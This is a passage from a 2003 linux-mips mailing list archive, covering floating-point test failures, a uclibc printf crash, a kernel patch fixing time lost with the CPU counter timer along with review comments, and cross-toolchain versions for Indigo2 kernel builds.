    <FONT size=2>Expected: 800FFFFF FFFFFFFF xu</FONT> <BR><FONT size=2>Value 
    error: muld n eq xu</FONT> <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
    <FONT size=2>Input:&nbsp;&nbsp;&nbsp; 00100000 00000001 3FEFFFFF 
    FFFFFFFA</FONT> <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
    size=2>Computed: 000FFFFF FFFFFFFD 
    </FONT><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=2>Expected: 
    000FFFFF FFFFFFFE xu</FONT> <BR><FONT size=2>Value error: muld n eq 
    xu</FONT> <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
    size=2>Input:&nbsp;&nbsp;&nbsp; 001FFFFF FFFFFFFF 3FE00000 00000000</FONT> 
    <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=2>Computed: 
    000FFFFF FFFFFFFF </FONT><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
    <FONT size=2>Expected: 00100000 00000000 xu</FONT> <BR><FONT size=2>Value 
    error: muld n eq xu</FONT> <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
    <FONT size=2>Input:&nbsp;&nbsp;&nbsp; 001FFFFF FFFFFFFF BFE00000 
    00000000</FONT> <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
    size=2>Computed: 800FFFFF FFFFFFFF 
    </FONT><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=2>Expected: 
    80100000 00000000 xu</FONT> <BR><FONT size=2>Value error: muld n eq 
    xu</FONT> <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
    size=2>Input:&nbsp;&nbsp;&nbsp; 800FFFFF FFFFFFF7 3FF00000 00000001</FONT> 
    <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=2>Computed: 
    800FFFFF FFFFFFF7 </FONT><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
    <FONT size=2>Expected: 800FFFFF FFFFFFF8 xu</FONT> <BR><FONT size=2>Value 
    error: muld n eq xu</FONT> <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
    <FONT size=2>Input:&nbsp;&nbsp;&nbsp; BFE00000 00000001 00000000 
    00000001</FONT> <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
    size=2>Computed: 80000000 00000000 
    </FONT><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=2>Expected: 
    80000000 00000001 xu</FONT> <BR><FONT size=2>Value error: muld n eq 
    xu</FONT> <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
    size=2>Input:&nbsp;&nbsp;&nbsp; BFF80000 00000000 80000000 00000001</FONT> 
    <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=2>Computed: 
    00000000 00000001 </FONT><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
    <FONT size=2>Expected: 00000000 00000002 xu</FONT> <BR><FONT size=2>Value 
    error: muld n eq xu</FONT> <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
    <FONT size=2>Input:&nbsp;&nbsp;&nbsp; C0040000 00000001 00000000 
    00000001</FONT> <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
    size=2>Computed: 80000000 00000002 
    </FONT><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=2>Expected: 
    80000000 00000003 xu</FONT> <BR><FONT size=2>Value error: muld n eq 
    xu</FONT> <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT 
    size=2>Input:&nbsp;&nbsp;&nbsp; C00C0000 00000000 80000000 00000001</FONT> 
    <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=2>Computed: 
    00000000 00000003 </FONT><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
    <FONT size=2>Expected: 00000000 00000004 xu</FONT> <BR><FONT 
    size=2>Total&nbsp; 340 tests:&nbsp; pass&nbsp; 319,&nbsp; flags 
    err&nbsp;&nbsp;&nbsp; 0,&nbsp; value err&nbsp; 21,&nbsp;&nbsp;&nbsp;&nbsp; 
    muld</FONT> <BR><FONT size=2>&nbsp;ucbtest UCBFAIL in muld at line 701 for 
    double </FONT><BR><FONT size=2>&nbsp; </FONT></P>
    <P><FONT size=2>&nbsp;</FONT> </P></BLOCKQUOTE></BLOCKQUOTE></BODY></HTML>

------_=_NextPart_001_01C302AA.86E97AD0--

From macro@ds2.pg.gda.pl Mon Apr 14 18:41:24 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 14 Apr 2003 18:41:24 +0100 (BST)
Received: from delta.ds2.pg.gda.pl ([IPv6:::ffff:213.192.72.1]:35752 "EHLO
	delta.ds2.pg.gda.pl") by linux-mips.org with ESMTP
	id <S8225202AbTDNRlY>; Mon, 14 Apr 2003 18:41:24 +0100
Received: from localhost by delta.ds2.pg.gda.pl (8.9.3/8.9.3) with SMTP id TAA29511;
	Mon, 14 Apr 2003 19:41:58 +0200 (MET DST)
Date: Mon, 14 Apr 2003 19:41:57 +0200 (MET DST)
From: "Maciej W. Rozycki" <macro@ds2.pg.gda.pl>
To: Karsten Merker <karsten@excalibur.cologne.de>
cc: linux-mips@linux-mips.org
Subject: Re: [patch] Board bus error handler clean-ups
In-Reply-To: <20030414172056.GB421@excalibur.cologne.de>
Message-ID: <Pine.GSO.3.96.1030414192822.24742P-100000@delta.ds2.pg.gda.pl>
Organization: Technical University of Gdansk
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Return-Path: <macro@ds2.pg.gda.pl>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2040
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: macro@ds2.pg.gda.pl
Precedence: bulk
X-list: linux-mips

On Mon, 14 Apr 2003, Karsten Merker wrote:

> >  So in it went, together with a handler for ECC-capable DECstations (if
> > anyone else cares). 
> 
> Yes, I care.

 Great -- I'll think of handling parity systems somehow, then. 

-- 
+  Maciej W. Rozycki, Technical University of Gdansk, Poland   +
+--------------------------------------------------------------+
+        e-mail: macro@ds2.pg.gda.pl, PGP key available        +


From sseeger@stellartec.com Mon Apr 14 19:07:27 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 14 Apr 2003 19:07:29 +0100 (BST)
Received: from mail.stellartec.com ([IPv6:::ffff:65.107.16.99]:15111 "EHLO
	nt_server.stellartec.com") by linux-mips.org with ESMTP
	id <S8225202AbTDNSH1>; Mon, 14 Apr 2003 19:07:27 +0100
Received: from wssseeger ([192.168.1.53]) by nt_server.stellartec.com
          (Post.Office MTA v3.1.2 release (PO205-101c)
          ID# 568-43562U100L2S100) with SMTP id AAA486
          for <linux-mips@linux-mips.org>; Mon, 14 Apr 2003 11:07:04 -0700
Reply-To: <sseeger@stellartec.com>
From: sseeger@stellartec.com (Steven Seeger)
To: <linux-mips@linux-mips.org>
Subject: uclibc printf and floats
Date: Mon, 14 Apr 2003 11:12:43 -0700
Message-ID: <04d001c302b1$7203e270$3501a8c0@wssseeger>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
In-Reply-To: <Pine.GSO.3.96.1030414192822.24742P-100000@delta.ds2.pg.gda.pl>
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Importance: Normal
Return-Path: <sseeger@stellartec.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2041
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: sseeger@stellartec.com
Precedence: bulk
X-list: linux-mips

I switched over to uclibc a while ago and am running the release (also tried
the snapshot) of 0.1.19 or whatever it is. I notice that printf crashes with
floats. This was a problem found with uclibc on other archs back almost 2
years ago. If anyone can help me with some advice I'd appreciate it. I much
prefer to continue using uclibc on this VR4181 instead of glibc.

Thanks!

Steve


From jsun@mvista.com Tue Apr 15 01:17:18 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 15 Apr 2003 01:17:19 +0100 (BST)
Received: from gateway-1237.mvista.com ([IPv6:::ffff:12.44.186.158]:48121 "EHLO
	orion.mvista.com") by linux-mips.org with ESMTP id <S8225202AbTDOARS>;
	Tue, 15 Apr 2003 01:17:18 +0100
Received: (from jsun@localhost)
	by orion.mvista.com (8.11.6/8.11.6) id h3F0Gtn08721;
	Mon, 14 Apr 2003 17:16:55 -0700
Date: Mon, 14 Apr 2003 17:16:55 -0700
From: Jun Sun <jsun@mvista.com>
To: linux-mips@linux-mips.org
Cc: jsun@mvista.com
Subject: [PATCH] loosing time with CPU counter timer
Message-ID: <20030414171655.G1642@mvista.com>
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="FCuugMFkClbJLl1L"
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Return-Path: <jsun@mvista.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2042
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: jsun@mvista.com
Precedence: bulk
X-list: linux-mips


--FCuugMFkClbJLl1L
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline


This patch fixes an ancient timer bug.

If one uses CPU counter as the system timer, it looses time
over the time.

Basically, timer_interrupt() does the following when it serves
an cpu counter interrupt (only relavent part shown);

0) interrupt happens
1) read cpu counter;
2) add it with cycles_per_jiffy, and set the value to compare
   register.

The problem is that cpu counter could increase between 0) and 1),
say by delta units.  Then the next timer interrupt is set to
t0 + delta + cycles_per_unit, instead of t0 + cycles_per_unit,
(where t0 is the current timer interrupt time)

Similar bug also exists in old-time.c, but anybody really cares? :)
Especially it has been there for quite a while ....

Jun

--FCuugMFkClbJLl1L
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="030414.loosing-time-with-cpu-counter-timer.patch"

diff -Nru linux/arch/mips/ddb5xxx/ddb5477/setup.c.orig linux/arch/mips/ddb5xxx/ddb5477/setup.c
--- linux/arch/mips/ddb5xxx/ddb5477/setup.c.orig	Mon Apr 14 15:28:57 2003
+++ linux/arch/mips/ddb5xxx/ddb5477/setup.c	Mon Apr 14 16:08:35 2003
@@ -43,7 +43,7 @@
 #include "lcd44780.h"
 
 
-// #define	USE_CPU_COUNTER_TIMER	/* whether we use cpu counter */
+#define	USE_CPU_COUNTER_TIMER	/* whether we use cpu counter */
 
 #define	SP_TIMER_BASE			DDB_SPT1CTRL_L
 #define	SP_TIMER_IRQ			VRC5477_IRQ_SPT1
@@ -154,10 +154,6 @@
         /* we are using the cpu counter for timer interrupts */
 	setup_irq(CPU_IRQ_BASE + 7, irq);
 
-        /* to generate the first timer interrupt */
-        count = read_c0_count();
-        write_c0_compare(count + 1000);
-
 #else
 
 	/* if we use Special purpose timer 1 */
diff -Nru linux/arch/mips/kernel/time.c.orig linux/arch/mips/kernel/time.c
--- linux/arch/mips/kernel/time.c.orig	Fri Apr 11 11:05:18 2003
+++ linux/arch/mips/kernel/time.c	Mon Apr 14 16:51:13 2003
@@ -140,6 +140,24 @@
 /* Cycle counter value at the previous timer interrupt.. */
 static unsigned int timerhi, timerlo;
 
+/* 
+ * Cycle counter value after which next timer interrupt is considered "missed".
+ * Suppose we are serving timer interrupt scheduled at time t, the theorectical 
+ * expiriing point for next interrupt is t + 2 * cycles_per_jiffy.
+ * In practice, we set it a little earlier, which is 
+ * 	t + 2 * cycles_per_jiffy - EXTRA_CUSHION_CYCLES
+ * just to make sure we still have some time to set registers after we
+ * decide whether a timer interrupt is missed.
+ */
+static unsigned int expirehi, expirelo;
+
+/* 
+ * extra "cushion" cycles used when we decide whether we have missed an
+ * timer interrupt (in the case of using cpu counter).  It should be long
+ * enough to cover at least 20 instructions.
+ */
+#define	EXTRA_CUSHION_CYCLES	50
+
 /* last time when xtime and rtc are sync'ed up */
 static long last_rtc_update;
 
@@ -330,6 +348,16 @@
  * high-level timer interrupt service routines.  This function
  * is set as irqaction->handler and is invoked through do_IRQ.
  */
+static inline int 
+64bit_compare(unsigned hi1, unsigned lo1, unsigned hi2, unsigned lo2)
+{
+	if (hi1 == hi2) {
+		return lo1 - lo2;
+	} else {
+		return hi1 - hi2;
+	}
+}
+
 void timer_interrupt(int irq, void *dev_id, struct pt_regs *regs)
 {
 	if (cpu_has_counter) {
@@ -343,14 +371,19 @@
 		timerhi += (count < timerlo);   /* Wrap around */
 		timerlo = count;
 
-		/*
-		 * set up for next timer interrupt - no harm if the machine
-		 * is using another timer interrupt source.
-		 * Note that writing to COMPARE register clears the interrupt
-		 */
-		write_c0_compare(
-					  count + cycles_per_jiffy);
-
+		/* check to see if we have missed a timer interrupt */
+		if (64bit_compare(timerhi, timerlo, expirehi, expirelo) < 0) {
+			unsigned int old_expirelo=expirelo;
+			expirelo += cycles_per_jiffy;
+			expirehi += (expirelo < old_expirelo);
+			write_c0_compare(old_expirelo + EXTRA_CUSHION_CYCLES);
+		} else {
+			// missed_timer_count ++;
+			/* we have missed at least one timer interrupt */
+			expirelo = timerlo + cycles_per_jiffy*2 - EXTRA_CUSHION_CYCLES;
+			expirehi = timerhi + (expirelo < timerlo);
+			write_c0_compare(timerlo + cycles_per_jiffy);
+		}
 	}
 
 	/*
@@ -504,8 +537,6 @@
 
 	/* caclulate cache parameters */
 	if (mips_counter_frequency) {
-		u32 count;
-
 		cycles_per_jiffy = mips_counter_frequency / HZ;
 
 		/* sll32_usecs_per_cycle = 10^6 * 2^32 / mips_counter_freq */
@@ -518,9 +549,9 @@
 		 * For those using cpu counter as timer,  this sets up the
 		 * first interrupt
 		 */
-		count = read_c0_count();
-		write_c0_compare(
-					  count + cycles_per_jiffy);
+		write_c0_compare(cycles_per_jiffy);
+		write_c0_count(0);
+		expirelo = cycles_per_jiffy * 2 - EXTRA_CUSHION_CYCLES;
 	}
 
 	/*

--FCuugMFkClbJLl1L--

From quintela@mandrakesoft.com Tue Apr 15 01:54:30 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 15 Apr 2003 01:54:31 +0100 (BST)
Received: from cm19173.red.mundo-r.com ([IPv6:::ffff:213.60.19.173]:41530 "EHLO
	trasno.mitica") by linux-mips.org with ESMTP id <S8225202AbTDOAya>;
	Tue, 15 Apr 2003 01:54:30 +0100
Received: by trasno.mitica (Postfix, from userid 1001)
	id D4D7C6EB; Tue, 15 Apr 2003 02:54:19 +0200 (CEST)
To: Jun Sun <jsun@mvista.com>
Cc: linux-mips@linux-mips.org
Subject: Re: [PATCH] loosing time with CPU counter timer
X-Url: http://people.mandrakesoft.com/~quintela
From: Juan Quintela <quintela@mandrakesoft.com>
In-Reply-To: <20030414171655.G1642@mvista.com> (Jun Sun's message of "Mon,
 14 Apr 2003 17:16:55 -0700")
References: <20030414171655.G1642@mvista.com>
Date: Tue, 15 Apr 2003 02:54:19 +0200
Message-ID: <86ades8ts4.fsf@trasno.mitica>
User-Agent: Gnus/5.090015 (Oort Gnus v0.15) Emacs/21.2.93
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Return-Path: <quintela@mandrakesoft.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2043
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: quintela@mandrakesoft.com
Precedence: bulk
X-list: linux-mips

>>>>> "jun" == Jun Sun <jsun@mvista.com> writes:

Hi
        only aesthetical fixes:

jun> diff -Nru linux/arch/mips/ddb5xxx/ddb5477/setup.c.orig linux/arch/mips/ddb5xxx/ddb5477/setup.c
jun> --- linux/arch/mips/ddb5xxx/ddb5477/setup.c.orig	Mon Apr 14 15:28:57 2003
jun> +++ linux/arch/mips/ddb5xxx/ddb5477/setup.c	Mon Apr 14 16:08:35 2003
jun> @@ -330,6 +348,16 @@
jun> * high-level timer interrupt service routines.  This function
jun> * is set as irqaction->handler and is invoked through do_IRQ.
jun> */
jun> +static inline int 
jun> +64bit_compare(unsigned hi1, unsigned lo1, unsigned hi2, unsigned lo2)

Please, use "unsigned int" /me notices that file is not consistent, in
some places it uses "unsigned" and in other "unsigned int".

jun> +{
jun> +	if (hi1 == hi2) {
jun> +		return lo1 - lo2;
jun> +	} else {
jun> +		return hi1 - hi2;
jun> +	}
jun> +}

Ralf tax on braces apply here.

jun> +		/* check to see if we have missed a timer interrupt */
jun> +		if (64bit_compare(timerhi, timerlo, expirehi, expirelo) < 0) {
jun> +			unsigned int old_expirelo=expirelo;
jun> +			expirelo += cycles_per_jiffy;
jun> +			expirehi += (expirelo < old_expirelo);

Tax on parens :)

Later, Juan.

-- 
In theory, practice and theory are the same, but in practice they 
are different -- Larry McVoy

From kumba@gentoo.org Tue Apr 15 09:33:42 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 15 Apr 2003 09:33:43 +0100 (BST)
Received: from smtp-out.comcast.net ([IPv6:::ffff:24.153.64.115]:9310 "EHLO
	smtp-out.comcast.net") by linux-mips.org with ESMTP
	id <S8225202AbTDOIdm>; Tue, 15 Apr 2003 09:33:42 +0100
Received: from gentoo.org
 (pcp02545003pcs.waldrf01.md.comcast.net [68.48.92.102])
 by mtaout09.icomcast.net
 (iPlanet Messaging Server 5.2 HotFix 1.14 (built Mar 18 2003))
 with ESMTP id <0HDD00E9HMFK8E@mtaout09.icomcast.net> for
 linux-mips@linux-mips.org; Tue, 15 Apr 2003 04:33:20 -0400 (EDT)
Date: Tue, 15 Apr 2003 04:35:23 -0400
From: Kumba <kumba@gentoo.org>
Subject: Re: Oddities with CVS Kernels, Memory on Indigo2
In-reply-to: <20030414140717.GA805@simek>
To: linux-mips@linux-mips.org
Reply-to: kumba@gentoo.org
Message-id: <3E9BC44B.8080708@gentoo.org>
MIME-version: 1.0
Content-type: text/plain; charset=us-ascii; format=flowed
Content-transfer-encoding: 7BIT
X-Accept-Language: en-us, en
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.3)
 Gecko/20030312
References: <3E98F206.5050206@gentoo.org> <20030414140717.GA805@simek>
Return-Path: <kumba@gentoo.org>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2044
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: kumba@gentoo.org
Precedence: bulk
X-list: linux-mips


	A question with the CVS Kernel.  Are there any known issues as to the 
specific toolchain used to build it?  Currently I'm using GCC 3.2.2 + 
Glibc 2.3.2 + Binutils 2.13.90.0.16.  I tried a CVS updateshortly after 
testing this kernel, and it still doesn't boot, so either my timing is 
really bad, or I'm using a toolchain with known issues.  I have noticed 
the toolchain does not support -mcpu in .18 of binutils, and I 
originally thought this was only going to be a GCC change in 3.3, but my 
guess if it's the same in .18/.20, and as such I'll need to use the 
instructions posted about a month about to use -mabi/-march?

--Kumba


Ladislav Michl wrote:
> On Sun, Apr 13, 2003 at 01:13:42AM -0400, Kumba wrote:
> 
> I'd say you've tried cvs kernel at the times when support for R4400
> caches was broken. I put kernel I'm currently running at
> http://www.linux-mips.org/~ladis/vmlinux.gz (gunzip it :)), as you can
> see from dmesg at the end of this mail CPU used in your machine is the
> same. If kernel I provided doesn't boot for you I'd like to ask you for
> help with debugging (kernel was build from cvs updated at 8:30 CEST)



From ladis@linux-mips.org Tue Apr 15 09:50:34 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 15 Apr 2003 09:50:35 +0100 (BST)
Received: (from localhost user: 'ladis' uid#10009 fake: STDIN
	(ladis@3ffe:8260:2028:fffe::1)) by linux-mips.org
	id <S8225202AbTDOIue>; Tue, 15 Apr 2003 09:50:34 +0100
Date: Tue, 15 Apr 2003 09:50:34 +0100
From: Ladislav Michl <ladis@linux-mips.org>
To: Kumba <kumba@gentoo.org>
Cc: linux-mips@linux-mips.org
Subject: Re: Oddities with CVS Kernels, Memory on Indigo2
Message-ID: <20030415095034.A29593@ftp.linux-mips.org>
References: <3E98F206.5050206@gentoo.org> <20030414140717.GA805@simek> <3E9BC44B.8080708@gentoo.org>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3E9BC44B.8080708@gentoo.org>; from kumba@gentoo.org on Tue, Apr 15, 2003 at 04:35:23AM -0400
Return-Path: <ladis@linux-mips.org>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2045
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ladis@linux-mips.org
Precedence: bulk
X-list: linux-mips

On Tue, Apr 15, 2003 at 04:35:23AM -0400, Kumba wrote:
> 	A question with the CVS Kernel.  Are there any known issues as to the 
> specific toolchain used to build it?  Currently I'm using GCC 3.2.2 + 
> Glibc 2.3.2 + Binutils 2.13.90.0.16.  I tried a CVS updateshortly after 
> testing this kernel, and it still doesn't boot, so either my timing is 
> really bad, or I'm using a toolchain with known issues.  I have noticed 
> the toolchain does not support -mcpu in .18 of binutils, and I 
> originally thought this was only going to be a GCC change in 3.3, but my 
> guess if it's the same in .18/.20, and as such I'll need to use the 
> instructions posted about a month about to use -mabi/-march?

silly question: you specified -r linux_2_4 when checkouting kernel, didn't
you? otherwise you are trying to boot 2.5.47, which has broken serial console
support.

anyway, toolchains i'm using to build 32-bit kernel:
$ mips-linux-gcc -v
Reading specs from /home/ladis/mips-tools/lib/gcc-lib/mips-linux/3.2/specs
Configured with: ../gcc-3.2/configure --prefix=/home/ladis/mips-tools --disable-shared --with-gnu-as --enable-languages=c --disable-nls --with-newlib --enable-checking=no --disable-threads --with-headers=/home/ladis/src/linux/include --target=mips-linux
Thread model: single
gcc version 3.2
$ mips-linux-ld -v
GNU ld version 2.13

64-bit kernel (egcs is patched with egcs-1.1.2.diff.gz from linux-mips.org ftp):
$ mips64-linux-gcc -v
Reading specs from /home/ladis/mips-tools/lib/gcc-lib/mips64-linux/egcs-2.91.66/specs
gcc version egcs-2.91.66 19990314 (egcs-1.1.2 release)
$ mips64-linux-ld -v
GNU ld version 2.13

	ladis

From kumba@gentoo.org Tue Apr 15 10:00:12 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 15 Apr 2003 10:00:13 +0100 (BST)
Received: from smtp-out.comcast.net ([IPv6:::ffff:24.153.64.116]:60285 "EHLO
	smtp-out.comcast.net") by linux-mips.org with ESMTP
	id <S8225202AbTDOJAM>; Tue, 15 Apr 2003 10:00:12 +0100
Received: from gentoo.org
 (pcp02545003pcs.waldrf01.md.comcast.net [68.48.92.102])
 by mtaout08.icomcast.net
 (iPlanet Messaging Server 5.2 HotFix 1.14 (built Mar 18 2003))
 with ESMTP id <0HDD00IB5NO5JE@mtaout08.icomcast.net> for
 linux-mips@linux-mips.org; Tue, 15 Apr 2003 05:00:06 -0400 (EDT)
Date: Tue, 15 Apr 2003 05:02:08 -0400
From: Kumba <kumba@gentoo.org>
Subject: Re: Oddities with CVS Kernels, Memory on Indigo2
In-reply-to: <20030415095034.A29593@ftp.linux-mips.org>
To: linux-mips@linux-mips.org
Reply-to: kumba@gentoo.org
Message-id: <3E9BCA90.8080607@gentoo.org>
MIME-version: 1.0
Content-type: text/plain; charset=us-ascii; format=flowed
Content-transfer-encoding: 7BIT
X-Accept-Language: en-us, en
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.3)
 Gecko/20030312
References: <3E98F206.5050206@gentoo.org> <20030414140717.GA805@simek>
 <3E9BC44B.8080708@gentoo.org> <20030415095034.A29593@ftp.linux-mips.org>
Return-Path: <kumba@gentoo.org>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2046
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: kumba@gentoo.org
Precedence: bulk
X-list: linux-mips

Ladislav Michl wrote:
> On Tue, Apr 15, 2003 at 04:35:23AM -0400, Kumba wrote:
> 
> silly question: you specified -r linux_2_4 when checkouting kernel, didn't
> you? otherwise you are trying to boot 2.5.47, which has broken serial console
> support.

Yes, I know I'm definitely working with 2.4 sources.  2.5's menuconfig 
still confuses me somewhat due to it's more organized layout.

> anyway, toolchains i'm using to build 32-bit kernel:
> $ mips-linux-gcc -v
> Reading specs from /home/ladis/mips-tools/lib/gcc-lib/mips-linux/3.2/specs
> Configured with: ../gcc-3.2/configure --prefix=/home/ladis/mips-tools --disable-shared --with-gnu-as --enable-languages=c --disable-nls --with-newlib --enable-checking=no --disable-threads --with-headers=/home/ladis/src/linux/include --target=mips-linux
> Thread model: single
> gcc version 3.2
> $ mips-linux-ld -v
> GNU ld version 2.13
> 
> 64-bit kernel (egcs is patched with egcs-1.1.2.diff.gz from linux-mips.org ftp):
> $ mips64-linux-gcc -v
> Reading specs from /home/ladis/mips-tools/lib/gcc-lib/mips64-linux/egcs-2.91.66/specs
> gcc version egcs-2.91.66 19990314 (egcs-1.1.2 release)
> $ mips64-linux-ld -v
> GNU ld version 2.13

# mips-unknown-linux-gnu-gcc -v
Reading specs from 
/home/crossdev/mips/lib/gcc-lib/mips-unknown-linux-gnu/3.2.2/specs
Configured with: ../configure --prefix=/home/crossdev/mips 
--target=mips-unknown-linux-gnu --host=sparc-unknown-linux-gnu 
--disable-multilib --enable-shared --enable-languages=c,c++,ada,f77,objc 
--enable-nls --without-included-gettext --with-system-zlib 
--enable-threads=posix --enable-long-long --disable-checking 
--enable-cstdio=stdio --enable-clocale=generic --enable-__cxa_atexit 
--enable-version-specific-runtime-libs --with-local-prefix=/local 
--with-libs=/home/crossdev/mips/lib 
--with-headers=/home/crossdev/mips/mips-unknown-linux-gnu/include
Thread model: posix
gcc version 3.2.2

# mips-unknown-linux-gnu-ld -v
GNU ld version 2.13.90.0.16 20021126

It's a cross compiler, specifically a sparc -> mips one, as my sparc 
machine is the fastest machine (Blade 100) running linux on my network 
atm.  I stuck to the .16 binutils initially because I didn't know how to 
address the -mcpu curiosity that appears in .18 and .20.  I originally 
thought that binutils was broken on mips, but after thinking about it, I 
partially suspect -mcpu has been gutted from the usable options.

I'm wondering if there are some strange oddities a slightly older 
binutils such as .16 may have in relation to the CVS kernels.  In all 
likely, it's probably something else I'm overseeing, but I'm trying to 
eliminate possible causes and get to the root of this problem.

--Kumba


From geert@linux-m68k.org Tue Apr 15 10:02:29 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 15 Apr 2003 10:02:30 +0100 (BST)
Received: from mail2.sonytel.be ([IPv6:::ffff:195.0.45.172]:60577 "EHLO
	mail.sonytel.be") by linux-mips.org with ESMTP id <S8225202AbTDOJC3>;
	Tue, 15 Apr 2003 10:02:29 +0100
Received: from vervain.sonytel.be (mail.sonytel.be [10.17.0.26])
	by mail.sonytel.be (8.9.0p/8.8.6) with ESMTP id LAA09144
	for <linux-mips@linux-mips.org>; Tue, 15 Apr 2003 11:02:23 +0200 (MET DST)
Date: Tue, 15 Apr 2003 11:02:35 +0200 (MEST)
From: Geert Uytterhoeven <geert@linux-m68k.org>
To: Linux/MIPS Development <linux-mips@linux-mips.org>
Subject: rtc_[gs]et_time()
Message-ID: <Pine.GSO.4.21.0304151021320.26578-100000@vervain.sonytel.be>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Return-Path: <geert@linux-m68k.org>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
